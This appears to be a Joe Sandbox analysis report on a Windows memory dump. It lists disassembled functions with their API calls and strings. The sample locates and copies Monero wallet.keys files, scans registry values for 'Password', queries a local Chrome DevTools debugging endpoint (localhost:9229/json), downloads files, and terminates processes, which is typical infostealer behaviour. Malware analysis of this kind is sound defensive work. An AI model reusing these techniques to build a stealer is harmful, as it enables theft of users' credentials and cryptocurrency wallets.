Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 25df24af2d552492579c68befaa41cfc04adf763297cd7a0671c5cde89122ccc
Instruction ID: 17ec5f60523a68cbe120816c1ed1c8638c6bea1f7c6dd2e6339f2026b4ed23e4
Opcode Fuzzy Hash: 25df24af2d552492579c68befaa41cfc04adf763297cd7a0671c5cde89122ccc
Instruction Fuzzy Hash: 637188B6900218ABDF14EBA0DD99FDE73BDAB48300F0455A8F61566185EF34EB44CB61

Function 00EA1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA12B4
Part of subcall function 00EA12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00EA12BB
Part of subcall function 00EA12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00EA12D7
Part of subcall function 00EA12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EA12F5
Part of subcall function 00EA12A0: RegCloseKey.ADVAPI32(?), ref: 00EA12FF

lstrcat.KERNEL32(?,00000000), ref: 00EA134F
lstrlen.KERNEL32(?), ref: 00EA135C
lstrcat.KERNEL32(?,.keys), ref: 00EA1377

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00EA1465

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
Part of subcall function 00EAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
Part of subcall function 00EAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
Part of subcall function 00EAA110: ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
Part of subcall function 00EAA110: LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
Part of subcall function 00EAA110: CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

DeleteFileA.KERNEL32(00000000), ref: 00EA14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00EA1335
.keys, xrefs: 00EA136B
wallet_path, xrefs: 00EA1330
\Monero\wallet.keys, xrefs: 00EA138D

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: c305e4e0cc97474c1e605904f0a3eb3dc7d719d9c2bb8e87d80826cf3aa0a8a0
Instruction ID: d7688cf62ffc9faf4bf8febf24ee8a2f304a49906b3c0b1bde647a99dc96a01a
Opcode Fuzzy Hash: c305e4e0cc97474c1e605904f0a3eb3dc7d719d9c2bb8e87d80826cf3aa0a8a0
Instruction Fuzzy Hash: 1D5121B19502186BCF15EB60DD96FEE73BC9B54300F4455F8B60A72091EE306B89CFA6

Function 00EA9A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00EC0AF6,00000001,00000000,00000000,00000000), ref: 00EA9A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00EA9AAB
InternetCloseHandle.WININET(00000000), ref: 00EA9AC7

Strings

"webSocketDebuggerUrl":, xrefs: 00EA9B4B
http://localhost:9229/json, xrefs: 00EA9A9F
"ws://, xrefs: 00EA9B84

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 1791941eb94915dd58c95cf2ff15324b2b72491a4b41d9d01a5ae611552f2853
Instruction ID: 7419a2316f858bff773dc0ef892afaa6ae88cab6844a1b28114e5585c057d2d6
Opcode Fuzzy Hash: 1791941eb94915dd58c95cf2ff15324b2b72491a4b41d9d01a5ae611552f2853
Instruction Fuzzy Hash: 1F413B35A10218EBDB14EBA4DD95FDEB7B8AB48740F105198F509BA191CBB1BE80CF64

Function 00EA7630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA7330: memset.MSVCRT ref: 00EA7374
Part of subcall function 00EA7330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00EA739A
Part of subcall function 00EA7330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EA7411
Part of subcall function 00EA7330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EA746D
Part of subcall function 00EA7330: GetProcessHeap.KERNEL32(00000000,?), ref: 00EA74B2
Part of subcall function 00EA7330: HeapFree.KERNEL32(00000000), ref: 00EA74B9

lstrcat.KERNEL32(00000000,00EC192C), ref: 00EA7666
lstrcat.KERNEL32(00000000,00000000), ref: 00EA76A8
lstrcat.KERNEL32(00000000, : ), ref: 00EA76BA
lstrcat.KERNEL32(00000000,00000000), ref: 00EA76EF
lstrcat.KERNEL32(00000000,00EC1934), ref: 00EA7700
lstrcat.KERNEL32(00000000,00000000), ref: 00EA7733
lstrcat.KERNEL32(00000000,00EC1938), ref: 00EA774D
task.LIBCPMTD ref: 00EA775B

Strings

: , xrefs: 00EA76AE

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 14acaef584f94fec420491dfeca994e60b057f2e0a21fd174ef16743055014ca
Instruction ID: aedff3ae57ab4cd8f8f2387da59fd9aa90162c3525c2dedf1601e5ca4d5fc143
Opcode Fuzzy Hash: 14acaef584f94fec420491dfeca994e60b057f2e0a21fd174ef16743055014ca
Instruction Fuzzy Hash: 69316F75D00104DBDB18DBA0DD99DEEB3B8AB5A301F105128F122B7395CF34A986CB90

Function 00EA7330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00EA7374
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00EA739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EA7411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EA746D
GetProcessHeap.KERNEL32(00000000,?), ref: 00EA74B2
HeapFree.KERNEL32(00000000), ref: 00EA74B9
task.LIBCPMTD ref: 00EA75B5

Strings

Password, xrefs: 00EA7461

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 33ed91f6a2a78d0e5f11f60b2c91a48cb1a561e66bcd9425da2597193198f05f
Instruction ID: 899bb9621001a1bd89b7273f4bf4333ae7740a49a904e7dd66790fd354f07844
Opcode Fuzzy Hash: 33ed91f6a2a78d0e5f11f60b2c91a48cb1a561e66bcd9425da2597193198f05f
Instruction Fuzzy Hash: 22612DB1D041589BDB24DB50CC55BDAB7B8BF59304F0091E9E689BA141EB706BC9CFA0

Function 00EA9E30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EB8CF0: GetSystemTime.KERNEL32(00EC0E1B,01BFB730,00EC05B6,?,?,00EA13F9,?,0000001A,00EC0E1B,00000000,?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EB8D16

wsprintfA.USER32 ref: 00EA9E7F
memset.MSVCRT ref: 00EA9EED
lstrcat.KERNEL32(00000000,?), ref: 00EA9F03
lstrcat.KERNEL32(00000000,?), ref: 00EA9F17
lstrcat.KERNEL32(00000000,00EC12D8), ref: 00EA9F29
lstrcpy.KERNEL32(?,00000000), ref: 00EA9F7C
memset.MSVCRT ref: 00EA9F9C
Sleep.KERNEL32(00001388), ref: 00EAA013

Part of subcall function 00EB99A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EB99C5
Part of subcall function 00EB99A0: Process32First.KERNEL32(00EAA056,00000128), ref: 00EB99D9
Part of subcall function 00EB99A0: Process32Next.KERNEL32(00EAA056,00000128), ref: 00EB99F2
Part of subcall function 00EB99A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00EB9A4E
Part of subcall function 00EB99A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00EB9A6C
Part of subcall function 00EB99A0: CloseHandle.KERNEL32(00000000), ref: 00EB9A79
Part of subcall function 00EB99A0: CloseHandle.KERNEL32(00EAA056), ref: 00EB9A88

Strings

D, xrefs: 00EA9FA4

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32memset$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 3242155833-2746444292
Opcode ID: 0e1efae0e5c77e19c6257255642288873bb08f704b13172ce7dc70606cc45e90
Instruction ID: 2128af3f62d5cb95026d39b3fc12e3a97b1bdf047787e2a229b49da413aad42c
Opcode Fuzzy Hash: 0e1efae0e5c77e19c6257255642288873bb08f704b13172ce7dc70606cc45e90
Instruction Fuzzy Hash: 3A5188B1940318ABEB24DB60DC4AFDA77B8AF44704F0445A8F61DAB2C1DB75AB84CF51

Function 00EA60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EA4889
Part of subcall function 00EA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EA4899

InternetOpenA.WININET(00EC0DFB,00000001,00000000,00000000,00000000), ref: 00EA615F
StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA6197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00EA61DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00EA6203
InternetReadFile.WININET(?,?,00000400,?), ref: 00EA622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00EA625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00EA6299
InternetCloseHandle.WININET(?), ref: 00EA62A3
InternetCloseHandle.WININET(00000000), ref: 00EA62B0

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f9d3a1122b6d1c5b0e29ae0917c34cb796c4d03304464ad1b2599ba723cd74c6
Instruction ID: 1cc017f8c649c513f9e89fd9559207826a61d22b5f96c51534aa330604f87075
Opcode Fuzzy Hash: f9d3a1122b6d1c5b0e29ae0917c34cb796c4d03304464ad1b2599ba723cd74c6
Instruction Fuzzy Hash: B05186B1A00218ABDF24DFA0DC49FEE7779AB45305F0454A8F605BB1C0DB746A85CFA5

Function 00F2012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00F2024D
___TypeMatch.LIBVCRUNTIME ref: 00F2035B
CatchIt.LIBVCRUNTIME ref: 00F203AC
CallUnexpected.LIBVCRUNTIME ref: 00F204C8

Strings

csm, xrefs: 00F2016B
csm, xrefs: 00F20284
csm, xrefs: 00F201D8

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 24993229c2d44b05feac8b3193a11663e7526da7765f34189f7cd9053785573b
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: C1B18072C00229EFCF15EFA4E8419AEBB75BF14320F10815AE9116B253DB34DE51EB91

Function 00EB78B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB78C4
RtlAllocateHeap.NTDLL(00000000), ref: 00EB78CB
RegOpenKeyExA.ADVAPI32(80000002,01BECE80,00000000,00020119,Ix), ref: 00EB78EB
RegQueryValueExA.ADVAPI32(Ix,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00EB790A
RegCloseKey.ADVAPI32(Ix), ref: 00EB7914

Strings

Ix, xrefs: 00EB78D4, 00EB7910, 00EB7906, 00EB78D7, 00EB7909, 00EB7913
CurrentBuildNumber, xrefs: 00EB7901

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber$Ix
API String ID: 3225020163-4041952297
